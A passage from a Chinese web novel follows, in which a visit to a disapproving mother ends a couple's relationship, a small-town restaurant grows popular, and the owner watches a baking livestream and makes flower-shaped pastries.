他们都知道自家爸的性子执拗，决定了的事就很难改变，他们也不可能就这样绑他回去，便只好退了一步： “可以是可以，但你一天做的包子要适量，可不能再累着了，而且，我们得在家里装一个摄像头，免得再发生意外……” 赵爷爷无奈：“行。” * 黄秀莲拉着一张脸回了家。 她老伴黄平正带着老花镜捧着本厚厚的书在研究今晚开什么生肖。 “这么晚才回来？”黄平连个眼神也没给。 “去了趟赵家。”黄秀莲说起这个就烦，将庄凝冬还钱这件事给他说了下。 黄平这才抬起眼：“你是说，庄凝冬现在已经赚到钱还了？” “可不是嘛。”黄秀莲自己心里不顺畅，“你也是的，整天就知道窝在家里，大门不出二门不迈，连人家开了饭馆也不知道。” “嘿，你自己不爽赖我干嘛？知道又能怎样？你能阻止人家开吗？” 本来就堵着一口气，被黄平这大实话一怼，更闷得慌了。 黄秀莲懒得跟他讲，进厨房做饭去了。 因傍晚发生的事，黄秀莲吃饭都没了胃口，草草吃了几口就吃不下了。 中途，她二儿子打电话过来，黄秀莲又没忍住将这事跟她儿子说了一遍。 电话另一端的黄瑞：“之前人家急需用钱的时候，你又不肯帮，现在人家不过是还了点钱而已。欠债还钱天经地义，就算现在不还，以后也还是要还的，你在这里说又有什么意义呢？日后人家要是不仅把钱还光了，甚至多还了点，你是不是更要死不活的了？” “哎你这孩子，怎么说话的！” 父子俩一个样，黄秀莲被气得不轻。 “行了行了，别再想了，我明天带田怡回家看看你。” 田怡是黄瑞交往了几年的女朋友。 想到儿子明天回来，黄秀莲的气才顺了点。 不过依旧没什么胃口。 晚上，她把剩饭剩菜装好放进冰箱就去睡觉了。 次日，黄瑞带着女朋友田怡回到了溪城。 才刚转入朝丰街，一阵古朴且具年代感的气息铺面而来。 这里环境偏幽静，建筑拥有的历史痕迹厚重，远处还能看到朦胧的山。 田怡看了一圈，笑道：“没想到这的环境还挺好的，确实很有家的感觉。” “溪城的生活节奏是没大城市快。” 黄瑞说完，又安抚了她几句让她不要太紧张。 进了门，黄秀莲上前招待他们，不过多数时间是围绕着自家儿子转，发现没缺斤少两才放心。 黄瑞有点无语：“妈，我都在外面工作多久了，知道怎么照顾自己的。” 黄秀莲：“是，翅膀硬了，让妈看看都不行了。” 田怡适时出来说了几句好话，黄秀莲看了她一眼，不再多说什么。 他们一大早的车赶回来，如今，已到饭点。 黄秀莲进厨房做饭。 黄平他们三个在客厅闲聊，问工作问待遇问未来规划，没一会儿，黄秀莲就做好菜端出来了。 田怡起身，出于礼貌，进去帮忙盛饭。 黄瑞拉着她坐下，说让他去就好。 田怡在饭桌前桌下，等待的期间，她不经意瞥过上面的菜。 颜色暗淡，没有光泽感，也不新鲜，明显放了一夜。 吃饭期间，基本都是黄秀莲和黄瑞在说话，偶尔田怡被问到问题她就回答几句，不过情绪早已没有刚来那般高涨。 终于察觉到她吃得少，黄秀莲给她夹了块肥猪肉：“为什么不多吃点？饭量这么少，身体哪里长得健康哟，日后结了婚不得干两下活就喘？” 田怡看着碗里的肥肉，听着这番话，也不知道是被肥肉腻到还是被话无语到，一阵反胃涌上喉间，彻底没了胃口。 黄瑞看了眼田怡的脸色，关心道：“怎么了？觉得哪里不舒服吗？”随后把那块肉夹走，又对黄秀莲说：“妈你操心你自己吧，田怡不爱吃肥肉。” 田怡三两下把那口饭吃完：“我吃饱了你们慢慢吃。” 这头田怡离开了桌，黄秀莲就冲她背后喊：“这就吃饱啦？不再多吃点？吃那么少怎么行哟。” 见她真的不要了，黄秀莲才转回去，嘴里嘀嘀咕咕的。 饭后，黄秀莲和黄瑞也都陆续离开了餐桌，剩黄平一个人在那慢悠悠地吃。 没多久，黄平也吃完了，他双手一放，就走到客厅坐下。 一桌子碗筷残羹剩饭没人收拾。 黄秀莲坐得好好的，突然跟黄瑞说起腰啊腿啊哪哪疼，期间时不时瞄向田怡那边，也不知道是说给谁听。 田怡嗑着瓜子，当听不懂。 第35章 第35章 “妈，好端端的怎么回事？之前也没听你说哪里疼哪里疼啊。” 黄瑞狐疑地看着黄秀莲。 黄秀莲敷衍：“那都是我不想你担忧罢了。” “那要不要带你去医院看看？” 见田怡仍然无动于衷，黄秀莲也不想再在这拖时间了，她起身，烦躁地挥挥手：“去什么医院，浪费钱，贴几贴药膏就好了。” 她说完，就去收拾碗筷了。 午间，黄平和黄秀莲要午睡，黄瑞想起饭桌上田怡不太舒服的样子，便带了她回自己房间。 房间已经收拾过了，干干净净。 黄瑞出去给她倒杯水。 带来的行李是黄瑞收拾的，田怡翻来覆去找不到充电宝数据线，准备出去问他放去哪了。 人刚走到厨房门外，就听见里面传来谈话声。 黄秀莲在问：“你们在一起多久啦？” 黄瑞说：“三四年吧，怎么了？” “太不像话了，都出去工作几年了，怎么还是连眼色都不会看，不会主动提出要洗碗就算了，连我暗示那么多次都不知道来帮忙，我还特意说了身体不舒服，她人也不知道来关心关心，这样子怎么行哟？” 黄瑞觉得头疼的同时又有点不理解：“所以你刚刚说哪哪不舒服是装的？” “装的又怎么了？不正好试出她的为人？” 黄瑞气极反笑：“妈，这是田怡第一次来咱家，人家还是客人呢，哪有让客人干活的道理？” “你懂什么？第一次来都不会主动干活，你还指望她嫁进来后会干？更何况还不听话，太难掌控了，花那么多钱可不是为了娶个祖宗回来的。” 黄秀莲往外蹦的每一个字都让黄瑞感到荒谬：“那我娶媳妇也不是为了让她干活的啊，这哪是娶媳妇，这是娶了个仆人吧？生活是两个人的事，这些小事我们自会平衡好，用不着你操心。 倒是你，田怡第一次来，你就拿剩饭剩菜招待她？你好意思拿出来我都没脸面对。” “那昨晚没吃完的难道要扔掉吗？我又不是没加别的菜，你们这些年轻人真是不知道柴米油盐贵，什么都说扔掉，真当不用花钱买啊？” “是加了别的菜，但隔夜的菜不还是放在田怡面前么？” 黄秀莲始终不觉得自己有问题：“其他的她又不是夹不到。” 黄秀莲那套观念早已根深蒂固，黄瑞觉得再谈下去得脑溢血的可能是自己，于是懒得再说，转身就走了。 回了房，田怡坐在床上玩手机。 黄瑞走过去：“还觉得不舒服么？” 田怡摇了摇头。 黄瑞顿了顿，为他母亲用剩饭菜招待她的事道歉，“我妈她就这样，你别放心上。” 田怡没因为黄瑞就体谅黄秀莲，没说原谅，却也不在这个话题上停留，模棱两可地说知道了，然后问他拿充电宝的数据线。 黄瑞知道，这是介意了。 他们午间休息了一会儿。 后面睡醒后田怡说想出去逛逛，原本黄瑞是要陪她的，不过临时来了工作需要处理。 黄瑞思忖了下，问要不要他妈陪她。 让她陪还不如自己去呢。 田怡沉默了片刻：“不用了，有导航。” 田怡在附近逛了没多久，就觉得有点无聊了，但又不想那么早回去，便在附近树下的长椅子坐着消耗时间。 忽然间一只可爱的狸花猫从灌木丛钻出，就这么定定盯着她。 田怡被可爱到，想靠近伸手触摸它，却被它灵巧的身姿敏捷躲过。 它逃，她追。 一个不注意，田怡被它带到了一个陌生但又不是特别陌生的地方。 不陌生是周围街景的风格跟朝丰街如出一辙。 陌生是她没逛过。 街道巷子四通八达，田怡不认路，刚要拿出手机开导航，前方的门就被打开了。 田怡被吸引注意力，多看了眼，才发现这里是饭馆。 开门后，有好些人冲了进去。 这速度，仿佛晚一秒都是对吃的不尊重。 难道这家饭馆很好吃？ 田怡中午没吃多少东西，此刻也有点饿了。 她想了想，也跟着人群进了饭馆。 轮到她，她点了份椒麻鸡，看到别人拿着的糕点盒子好看，于是，又跟着买了份绿豆糕。 找到位置坐下，椒麻鸡被端上来。 一阵馥郁的麻辣香直冲鼻腔，香极了。 食欲和饥饿感都在一瞬间被勾起，田怡忙拿起筷子吃起来。 椒麻汁鲜香味美，撕成条的鸡肉口感紧实，汁水饱满，有鸡肉特有的鲜甜也有浓厚的麻辣，层次感丰富。 才吃了一块，田怡就觉得嘴里麻得生风，她连忙端起旁边的茶水喝起来，还没缓好，她却又迫不及待地吃了起来。 这个椒麻汁也不知道怎么调的，味道特别足，特别让人欲罢不能。 田怡吃得忘我，忘了自己身处何方，眼前只能看得到这份椒麻鸡。 也短暂地忘掉了这次行程带来的不愉快。 田怡是个从来不吃鸡皮的人，但这份椒麻鸡的鸡皮格外薄，皮质也紧实，没有厚厚的鸡油，也不是软乎乎的不管怎么咬都咬不断的、吃起来有点反胃的口感，拌上醇厚的汤汁，麻辣脆口，更好吃了！ 吃掉最后一块鸡肉，田怡连作为搭配调味而存在的洋葱丝、青红椒段都没放过。 真的太好吃了！ 田怡感受到了前所未有的美味！ 既然椒麻鸡这么好吃，那……这份绿豆糕呢？ 田怡果断拆开礼盒，待尝到那股细腻的口感，她幸福得眯起双眼。 没想到这小小的溪城还藏了这么一家宝藏小饭馆。 吃完两个绿豆糕，田怡打了个饱嗝，恰好黄瑞打电话来问她在哪，要来找她。 想到自己依旧在朝丰街，那么近，正好她也吃完了，干脆让黄瑞在家等着她了。 只是刚出门，田怡才蓦地顿住。 糟糕，这份椒麻鸡太好吃，忘记问黄瑞要不要了。 她回头看了眼队伍，有点长。 嗯，也不是她不想排，只是不愿意他等太久。 反正还有绿豆糕呢。 田怡回到家，才发现黄秀莲不在。 她满脸兴奋地双手背在身后，问：“猜猜我给你带了什么？” 黄瑞笑：“什么这么神秘？” “看！是绿豆糕！”田怡说：“这个绿豆糕特别特别特别好吃！” 不扫田怡兴，黄瑞当即就拆开一个吃了起来，随后神情一震惊：“真的哎！看这盒子那么漂亮，一定很贵吧？” 田怡摇摇头：“并没有，也就比市面上要贵一点而已，都没有那些十几块甚至几十块才一只的点心离谱。” “真的假的？溪城还有性价比这么高的店吗？” “那家店还不是专门做糕点的，是一家饭馆，我在里面吃了一份椒麻鸡，也是超级好吃的！原本还想给你打包一份回来的，但是人太多了你懂的，我不想让你等太久……” 田怡说了一堆，就是不说店名字，可要把黄瑞急死了。 他笑：“什么不想让我等太久，我看你是把我忘了，好了好了，你直接告诉我店铺名字吧。” “我说了那么多你都猜不出来？别装了，就在你家附近你会不知道？亏我之前问你溪城有什么好吃的好玩的，你居然还说没什么特别突出的，你个自私鬼！我都还没怪你藏着掖着这么好吃的一家店呢！” 田怡控诉完，瞧见他越发茫然的神情，也开始怀疑了：“难道你真的不知道？我觉得不应该呀，真的在附近，就是——” 黄瑞忽然想起了什么：“是不是这条街……” “你们在聊什么呢？这是什么？”黄秀莲在此时进门，她一下子瞟到桌上那只看上去就价格不菲的精致礼盒，眉头一皱，“哎哟，一盒就这么小小的两只，都不够塞牙缝呢，不吃饭就吃这玩意？花的这钱都够我买菜做好几顿饭了吧。” 原本还算欢乐的氛围因黄秀莲的话骤然凝固下来。 黄瑞忙出来打圆场，“这是田怡特意买来孝敬您的呢，一盒六个，我自己忍不住吃了四个。” 听到是特意买给自己的，黄秀莲才舒坦了点，随后她又问了价格。 田怡说了个数。 跟自己想象中的大几百块相差甚远，黄秀莲不知怎的，又隐隐有点不爽了。 不过她终究没多说什么，缓了缓才问：“在哪买的？” “就在这条街上的庄——” 田怡话还没说完，就被黄瑞抢着打断：“就在这条街上的那幢比较矮小的自建房。” 田怡看向黄瑞，想纠正，收到他暗示的眼神后，张了张嘴还是还说什么。 黄秀莲没注意到他们的小动作。 她回想着，这条街上确实有一家是卖绿豆饼栗子糕这些糕点类的铺子，不过，那家铺子向来是用油纸袋包装的，什么时候换成这么好看的盒子了？ 黄秀莲也没多想，吃了一个就觉得上瘾了，火速吃完了两个，没给黄平留。 晚饭时，前不久田怡刚吃过椒麻鸡，现在更是吃不下一点。 黄秀莲依旧说了她两句。 饭后，单独相处的时间里，田怡终于有机会问黄瑞为什么不让她把那家店说出口。 “你想说的是庄记吧？”黄瑞叹了口气，“还好我没猜错，不然让我妈听见你这绿豆糕是在庄记买的，她估计比吃了苍蝇还难受。” 黄瑞这才娓娓道来他们家和庄家之间的那点小过节。 这时，田怡才知道那家饭馆是新开的，黄瑞是真不知道。 她顺口嘱咐完黄瑞说那家店很好吃让他一定要试试后，又实在是不理解黄秀莲。 听起来，庄家也没惹黄家啊，黄秀莲自己在那暗较什么劲呢？ 要说生意什么的，还是她不道德在先吧？开同样的铺子抢客源，自己做生意不讲诚信这也赖到别人身上。 田怡服了。 黄瑞也没办法，表示自己已经开导过她很多次了，但她就是听不进去 田怡忍不住吐槽：“就她这样，即便真出了个人中龙凤也要被她养没了吧，还好没生错地方，不然就是现代版‘伤仲永’了。” 这个假期，他们两又在溪城住了两天才走。 另黄瑞觉得猝不及防的是，回去之后没多久，田怡就跟他说了分手。 “为什么？！”黄瑞怀疑自己听错了：“是我哪里做得不够好吗？” 眼前的人是喜欢的，自然也舍不得。 可是没办法，怎么也逃不过现实问题。 田怡深吸口气，才说：“你没有做错什么，不是你的问题，当然，也不是我的问题。” “是不是因为我妈？”黄瑞一针见血道。 田怡没否认。 黄瑞知道说对了，他说：“如果只是因为我妈，那我觉得不是什么大问题。” “怎么会没有问题呢？”田怡声音放轻，“她不喜欢我，我也难以接受她的观点，就在溪城的那点时间，我真的很想怼她你知道么？想到你我才忍住了，我很清楚我自己，忍得了一时忍不了一世，这种矛盾始终会爆发的。” 黄瑞：“这不是有我在么？” “有你在又怎样？”田怡考虑得很长远，“作为被夹杂在两方之间的中间人，两方都要你哄着，等时间长了，看你妈会不会说你胳膊肘往外拐，到时候方方面面都是压力，你敢保证你能一直不崩溃吗？” 黄瑞还在代入思索那样的场景，就听见田怡继续说： “你敢保证我都不敢信。” 田怡拖着行李箱：“好了就这样吧。” 临走前，田怡想祝他找到更好的人，但转念一想，忽然又觉得如果其他女孩子嫁到这样一个家庭，也是悲剧，所以干脆什么也没说。 另一边，黄秀莲在择菜，她思绪飘忽，无端想起那天吃过的绿豆糕，开始嘴馋了。 可是那么小小的一块，都要好几块钱。 实在被馋得不行，黄秀莲咬咬牙，还是去了一趟那个糕点铺子。 台面各式各样的点心，被透明盖子罩着。 只是，放眼看了一圈，哪有前几天那个花朵模样的绿豆糕？ 旁边刚好有人来买，糕点依旧用的油纸袋装。 难道是今天没做？ 黄秀莲疑惑着，正要问店主今天怎么没有绿豆糕时，门口有两个女生路过。 她们的手里都提着跟田怡买回来的一模一样的绿豆糕袋子。 她们谈论着—— “总算是买到庄记的绿豆糕了，不过遗憾的是，只能买一盒，呜呜呜根本不够吃啊。” “可不是嘛，唉，不过买到了就知足吧，还有很多人想吃都买不到呢。” 黄秀莲整个人愣在原地。 什么玩意儿？那绿豆糕是在庄家买的？！ * 五一期间，哪怕溪城不是什么旅游城市，但因为放假，人流量也明显比平常时段的要多。 再加上有很多平时在外地打工，过节才有空回一趟老家的人也回来了。 他们经过朝丰街，看见某一家店人满为患时，都不禁停住多看了几眼—— “我说朝丰街什么时候变得这么热闹了？一看，原来不是朝丰街热闹，是这家饭馆热闹。” “奇怪，这里什么时候开了一家饭店的？朝丰街这种客流量都能做起来啊？味道一定很好吧，等回去上班前一定要挑个时间来尝尝。” “味道真的好吗？别不是网红店都开到这儿来了吧……” 有从庄记饭馆出来的顾客听到质疑，也不恼，只是强烈建议对方去吃，那劝说的态度强烈，仿佛不去就是错失了一个亿的神情终于让路人动容，转身进了庄记。 结果就是完全出不来了。 天哪！他为什么要在即将回去上班的时候遇到这么好吃的馆子？！ 他上班哪里可没有这种美味啊，这要他怎么熬下去？！ 早知道就不听那个人劝了。 痛苦，真的太痛苦了！ 虽然假期人是多了，但店里没有上新，每天卖的份量也没有增多，所以对庄凝冬和季初曼来说，不是很累，跟平常无异。 晚上，庄凝冬登录了那个金融网站，看了眼自己发出的好友验证，依旧没有通过。 意料之中，庄凝冬倒不是很失望。 她在那个网站上跟别人交流了一会儿，休息时间才拿出手机准备看会儿别人的美食视频。 点开软件后，上方弹出一条消息—— [您看过的up主“小槐不骂人的第一天”正在直播] 这个up主，庄凝冬有印象，那是个做面点点心类的up主。 通常做糕点类的视频博主，他们的视频风格都是古色古香的，画面也有种宁静的舒适感，但这个小槐不一样，她在这种风格大同小异的糕点类视频里，杀出了属于自己的独特画风—— 从她的ID就能看出她脾气不太好，而她视频里做糕点的过程恰好融入了略暴躁的性格，豪迈的动作，再加上可爱的样貌，就连摔面团的画面都带了几分生闷气的模样。 通常一到这个画面，她的粉丝就会说：[别摔面团，摔我/害羞] 看到逆天发言后的小槐：“傻逼。” 个人风格是其一，还有一个特殊的点是，小槐会在视频的末尾放自己的翻车视频，这也是粉丝最喜闻乐见的环节。 而一提起她，圈子里的人、甚至听过她名字的人最先想到的，都不是她幽默诙谐翻车冥场面中的任意一个，而是她有次直播因为骂人被封了。 是的，美食up主骂人被封了。 这话怎么看怎么怪，因为骂人被封直播间的事通常发生在游戏区，怎么美食这一听起来就很养生很与世无争的区域也能跟骂人扯起来？ 起因还是她有个视频刚火那会儿，惹来了很多喷子无脑质疑，说那些精致的糕点不可能是她本人做的，都是请别人做好再通过剪辑变成自己做的。 小槐看到后立马操起键盘跟它们大战了三百回合，最后朝它放话直播间见，于是，小槐就这么开始了她的第一次直播。 大概知道骂脏话会被封，所以做糕点的全过程小槐都只用了隐晦的比喻来阴阳它们，最后糕点做成后，小槐再也忍不了，张开嘴对着它们一顿输出，骂到直播间被封也没消停，还在底下对话框骂。 当时也有很多正义路人帮忙，就这样，他们骂到那些人承受不住销了号才消停。 也是这一次，小槐彻底火了起来。 虽然视频有翻车过程，但小槐做糕点的技术还是很好的，所发布视频里的糕点也有不少自己研究创新出来的。 庄凝冬还挺喜欢看她的视频的，有时候也会跟着她做糕点，然后自己再在原有的基础上改良配方。 小槐的直播时间不固定，庄凝冬想着既然遇上了，那便进去瞧瞧吧。 点进去，画面刚好是一团洁白柔韧的糯米团甩在洒满熟黄豆粉的揉面垫上。 “啪嗒”一声，黏糊的糯米团沾上了黄豆粉，还有黄豆粉在上方纷纷扬扬落下。 接着，又是一声“嗒”，擀面杖落在了面团正中央，压得面团凹下去了一点。 此时的弹幕—— [怎么了？谁又惹她了？] [好美的精神状态，好像我上班时的样子。] [想想居然还挺解压的，把不爽都撒在了面团上。] 小槐清了清嗓子，声音听起来却仍然有气无力的，还带着一股“我就这么说了你听就听不听就拉倒”的摆烂劲：“看见了吗？就是这样，把面团用力压瘪，擀开成长方形。” [小槐姐姐，别压面团，压我/眼冒红心] [楼上的，你裤子飞我脸上了。] [一定要压成长方形吗？压成正方形行不行？] [压成我爱你的形状行不行？] 小槐边擀面团边瞅着弹幕，还边用嘴型回应：“傻逼。” 短短的两个字，非常百搭，能回答上面的所有问题，方便又快捷。 [ID起得好，生活没烦恼，每一天都是不骂人的第一天。] [谢谢你，主播，我又爽到了/玫瑰。] [可惜听不到声音。] [发现你们好变态，我还以为是男生，没想到一个个点进去，都是女生啊。] [真正的男生在认真学习呢，勿扰。] [这是我们男生被黑得最惨的一次。] [真路人，第一次看这个主播，想知道你们和主播一直这样相处吗/瑟瑟发抖。] [别怕，我们都是开玩笑的哈哈。] 面团擀成长长略薄的长方形，江映槐把豆沙均匀铺到上面，翻起一点边边，自下而上卷起来，再撒上一层黄豆粉。 切开，就是驴打滚了。 咬一口，糯叽叽的，柔软有弹性，黄豆面香气醇厚，红豆沙细腻香甜，好吃极了。 第36章 第36章 [大晚上的，看饿了，赶紧去厨房翻出我的珍藏版泡面。] [不懂就问，主播一直深夜开播么？这毒也放得太狠了。] [没有，主播不定时开播，对，这个不定时包括一些凌晨一点、三点等阴间时间：）] [这你都知道，难道你痴迷主播已经到了她一开播就要去看的地步？] [说来也巧，她几次阴间时间开播的时候我都刚准备放下手机睡觉。] [那你也挺阴间的。] [……] [主播吃完了吗？可以着手下一环节了。] [别吃了主播，意思意思得了，你也知道咱几个不是来看你吃点心的。] 有路人一脸疑惑：[还有什么环节？] [一看你就不是粉丝，我们铁粉都知道，主播根本志不在做糕点，她一直想做的，都是一个拥有高超刀功、咔咔几下，就能将各种菜式削得薄如蝉翼的人，所以她每次开播，在做完糕点后，都会直播练一会儿刀功，不过一般没多久就会自己练破防的了哈哈。] [懂了，你们只是想看主播破防而已。] 江映槐吃完一块驴打滚后，就将其余的装好放一边了。 因为只有她一个人，所以她做的量也不多。 其他的等会儿慢慢吃也能吃完。 想晚点再一块收拾，江映槐便拿起手机架到一块干净的砧板面前。 弹幕的人说得没错，她确实是想做一个刀功了得的人。 这还是小时候受动画片和武侠片影响，她觉得将东西高高抛起，再拿起刀在它们降落时唰唰几下，食材就被削成均匀大小的样子可帅了，虽然后来长大明白那根本不可能，但还是仰慕那些手起刀落间能快很准地将食材切均匀的人。 可惜她的天赋全在做面点上了，在刀工方面，叫那个稀烂。 一根被水洗过的翠绿黄瓜割到了砧板上，江映槐握着的菜刀发出粼粼冷光。 只见江映槐神情认真，切的小心翼翼，努力丈量好每一片的厚度，尽量让他们保持一致。 开始几片切的还可以，不知道是不是一直盯着这一个点，时间长了江映槐总觉得有点头晕眼花，切的方向也没法保持一致，要么是没切到底就断了，要么是落刀的时候是薄的，切到底的时候就莫名变厚了。 接连好几片切出来的黄瓜厚度都不匀称，江映槐逐渐有些烦了，她盯着那几片瞅了几秒，想也没想拿过来就吃掉了。 [主播，你不是在切黄瓜吗？为什么突然吃起黄瓜来了？] [逐渐破防.ipg] [别以为吃掉就不存在了。] [以前看到主播轻轻松松玩转面团，做出一个又一个精致糕点时，我都会羡慕不已，甚至自卑苦想反思自己为什么不会，直到现在，我看着她那比我还烂的刀工终于想开了，果然，上帝为你关上了一扇门，就一定会为你打开一扇窗。] [好好好，揉面垫只是你的工作，砧板才是你的最爱是吧，感觉糕点天赋错付了。] “为什么可以这么难？！” 江映槐切完一根黄瓜又去切旁边的胡萝卜，她原本是想切丝的，但是一根根成品略粗，怎么也跟丝沾不上边，还不如拿那种擦丝器刮呢。 显然，弹幕也想到了—— [或许主播，你知道有一种工具叫擦丝器吗？] [天呐，到现在竟然还没有哪个牌子的擦丝器来找主播打广告，他们到底会不会赚钱啊？] [哈哈哈哈夺笋呐，不过有一说一，我要是在广告里看到主播这种刀工，我也会立马下单擦丝器的。] 江映槐淡淡瞟了眼，“谁说没有的？是我把他们都拒了。” [？为什么？] 江映槐说：“我觉得那是在侮辱我，我一直坚信有一天我会切出比那更细的丝，我，是绝对不会向它妥协的！” [……其实有时候我还是觉得金钱比尊严重要的，你觉得呢？] [今年24，希望等到我65退休的时候能看到主播实现愿望。] 江映槐：“……” * 次日一早，天边微亮，庄凝冬就起来了。 她洗漱完，去到一楼厨房，和起面团。 将发酵好的光滑面团擀成长方形，切的细碎的青绿葱花均匀地撒在上方，卷起来切成大小一致的面剂。 用手一撑一拉，筷子一压一折叠，一个个好看的花卷造型就出来了。 庄凝冬的手很灵活，熟练的想都不用多想，一个接一个花卷，所做出来的造型都不一样，丝滑的不得了。 感觉就眨几下眼的功夫，十个造型都不相同的花卷就做好了。 上锅蒸个十几分钟，再闷一会儿就可以吃了。 花卷出锅的那一刻，奶奶刚好醒，她一下楼就看到一个个白中带绿的蓬松花卷，笑道：“看来我醒得刚刚好嘞。” “奶奶，你先去坐着，我马上给您端过去。” 花卷大小一致，造型却不一，一个个洁白胜雪，泛着面粉特有的细腻和光泽感，或像一朵朵盛开的花，或形如弯弯绕绕螺旋状，那点葱绿缀在期间，增添了几分色彩。 热气散透，拿着手里软乎乎一团，捏下去再放开还能回弹，可以看出它的绵软程度。 奶奶觉得惊奇，从前老爷子做的包子可从来没试过这么蓬松柔软。 “好松软……”奶奶惊叹一句，才张嘴吃起来。 一口下去，柔软有弹性，麦香和葱香浓郁无比，唇齿咬合间，能明显感受到花卷的蓬松，还很有韧性，吃起来特劲道。 庄凝冬自己也在一旁吃，葱香花卷有股咸香咸香的味道，嚼了几下还能吃到一点面粉的甜味，不浓，但也很香。 她吃着吃着用勺子挖了点自制的辣椒酱抹在花卷上混着吃。 面团劲道的口感中多了几分蒜香辣味，吃起来香香辣辣的，还有咸香和葱花的味道，好吃得不得了。 奶奶瞧见后也说要蘸点辣椒，庄凝冬便给她抹了点。 匆匆吃饱早饭，庄凝冬准备出门去趟菜市场。 自从钟盼提前跟她说要她找新的供应商后，庄凝冬也有自己去找过，不过大部分质量都没达到她的标准，要么就是有合作商了。 庄凝冬今天打算去远一点的市场看看。 她刚出后院，碰巧遇到开着小三轮迎面而来的钟盼。 两人打了声招呼。 “凝冬姐，跟你说件事，”钟盼笑着下了车，简单跟庄凝冬说了下帮她找到新供应渠道的事，“不过比不上什么大的养殖场，规模就一般般的，跟我们这种自己家养的差不多，也有一些散户，我帮你检查过，质量都是可以的。” “真的吗？那太好了。”庄凝冬是真心感谢她。 “今天刚好带了几只过来给你看看。”钟盼说着拉过一只笼子，里面装着还没杀的鸡。 它们精神气十足，活蹦乱跳的，看着就很有活力。 庄凝冬看了眼，点点头：“确实很不错。” 钟盼又说到了后续联系的事，打算经过庄凝冬同意再将她的联系方式推给那些人。 不过庄凝冬想了想，还是拒绝了：“如果你有空的话，能帮我收货验货吗？就是让他们先通过你那关，你再送过来给我。” 如果是规模较大的供应商，一次性能送一批，那庄凝冬也许还会加，但是散户太多的话，她一个人也很难对接，而且会多出很多工作。 “放心吧，我会支付你更高的价格的。”庄凝冬说。 钟盼愣了下，随后应下，“可以，我现在都不用去市场摆摊了，反正闲着也是闲着，不过加钱就不用了，你也帮我们的嘛。” 货源是钟盼找的，其中的辛苦不必多说，日后还有那么大的工作量，庄凝冬自然过意不去：“加是要加的，如果你不同意的话，那叫我怎么好意思跟你合作下去？” 两人又推脱了一番，钟盼拗不过，只好应下。 走前，她记着这份恩情，心想以后要更加仔细挑货检查才对得起庄凝冬。 既然钟盼帮忙解决了这一大麻烦，那庄凝冬今天也不用出门了。 她还特意起了大早呢。 庄凝冬呆了会儿，掏出电脑开始学习。 等到季初曼来上班，庄凝冬又看了一会儿，才停下来休息。 说是休息，其实也在研究其他食谱。 庄凝冬想起看的那个up主小槐，她昨晚看到她直播做完驴打滚就没接着看了。 这会儿她才突然想起前段时间收藏过小槐的一个糕点视频。 是山茶花酥。 收藏后一直没时间做，庄凝冬可算懂了那群网友调侃的进我的收藏夹吃灰去吧是什么意思了。 既然现在闲了下来，那就做来看看吧。 大燕朝也有不少宫廷点心，庄凝冬以前跟着师父学过不少，那时庄凝冬才学会一点，就兴致冲冲地自己玩面团，弄成各种模样，有一次还被路过的妃子看上了一朵玫瑰花造型的桂花糕。 妃子喜欢得不得了，当即赏了她一些金银珠宝。 所以对于油皮、油酥和馅料部分，庄凝冬其实早就烂熟于心了。 油酥部分，庄凝冬还用食用色素上了一层粉色，和油皮叠在一起，对折了几次，擀开成略厚的状态，分别做出一片片花瓣，底部沾上蛋黄液粘在浑圆的馅料部分上。 一圈圈一层层，已经初现雏形。 季初曼在一旁清洗着中午需要用到的青菜，偶尔看向庄凝冬那边，发现她在捏面团的时候好奇极了。 只见柔软的面团在葱白修长的手指间翻转，片刻，就成了一朵粉色的花，形状之细致精巧，比季初曼以前带女儿做的泥巴手工都要漂亮。 感叹就这么自然而然地随着内心想法发出了：“哇，好好看，凝冬你也太厉害了吧。” 庄凝冬被夸得有点不好意思：“还好啦，我都练了好多……” 原本想说好多年的庄凝冬猛地顿住，换了个说法：“好多次了。” 季初曼摇摇头：“还是不一样的，比如说我，我以前陪着圆圆做那些手工也做过好多次了，但就一直停留在普普通通的水平，做不到这么栩栩如生，不用谦虚的凝冬。” 谁知，庄凝冬听到季初曼说以前做过类似手工之后，兴奋地拉过她，让她也加入。 季初曼无法拒绝，跟着庄凝冬捏了一个，歪歪扭扭的，花瓣角度和比例都不太对，有了庄凝冬的对比，更显灾难。 “看，我就说吧，是你厉害。” 庄凝冬笑着接下这句夸赞，去起锅烧油。 将捏好的山茶花面团放到漏勺上，托着这一得多娇花沉下了热油里。 随着气温的升高，花朵部分开始冒出细细密密的小气泡，然后，气泡开始变大，像水开了之后翻滚在中央的咕噜咕噜模样。 重新将漏勺拿起来时，一朵粉色的山茶花已经开好了。 花瓣浅粉，层层向外弯下了一点弧度，带着一股灵动的鲜活，完美契合现实中正值花期的山茶花，它静静搁在碟子上，就这么随意扫一眼，都让人美到不能呼吸。 季初曼是真的被美到忘记呼吸了。 原以为面团模样的花朵就已经足够精致，没想到油炸过后更绝，但她没想到，这朵花还能更好看。 旁边，庄凝冬捻起一小把干桂花，撒在了中间，细碎的淡黄色一落，成了花蕊，这朵花就这么活了过来。 完全称得上是画龙点睛的一笔。 季初曼：“！！！” 太绝了，真的太好看了！ 庄凝冬将碟子端到季初曼面前，甜甜笑：“工作辛苦啦，送你一朵小花花。” “送我的？！” 季初曼眼睛一亮，接过仔细端详着这朵山茶花，靠近了，那股酥香涌进鼻腔，闻起来就很好吃，可是，这么好看的一朵花谁舍得吃啊？！ “都不舍得吃了。”季初曼实话实说，语气饱含怜爱。 庄凝冬：“别怕，吃完还有，我还没做完呢。” 有了庄凝冬这句话，季初曼放心了，轻轻拿起那块山茶花酥咬了一口。 面皮层层叠叠，咔嚓一声，酥得掉渣，季初曼连忙伸出另一只手在下面虚空托着，免得掉下来的渣弄到地上。 炸过的面团味道带有浓郁的麦香和油香，藏在香脆花瓣下的，是香甜的椰蓉。 椰蓉馅料质地细腻，椰丝松软又带嚼劲，甜而不腻，连带着味道清淡的花瓣都沾染上了浓浓的椰香。 脆中带软，这块山茶花酥的味道和它的样貌成正比。 有多好看，就有多好吃。 季初曼吃完后久久回不过神。 自从她辞职带女儿后，除了手工活外，各种烘焙也有在学，也做了不少点心，然而不管怎样，做出来的都一般般。 不是外皮松软就是内里过甜，总之，翻车得千奇百怪。 吃多了自己做出来的失败品，她后面实在是怕了，不仅不再上手做，就连外面卖的都少吃了。 已经到了一看到就下意识觉得甜腻不好吃的地步。 而现在，竟然被她吃到了这么惊艳的山茶花酥！ 季初曼终于明白为什么后宫的妃子都那么喜欢了。 要是有这么好吃的山茶花酥摆在她面前，她也天天吃啊。 * 中午，周谦一个人来到了庄记。 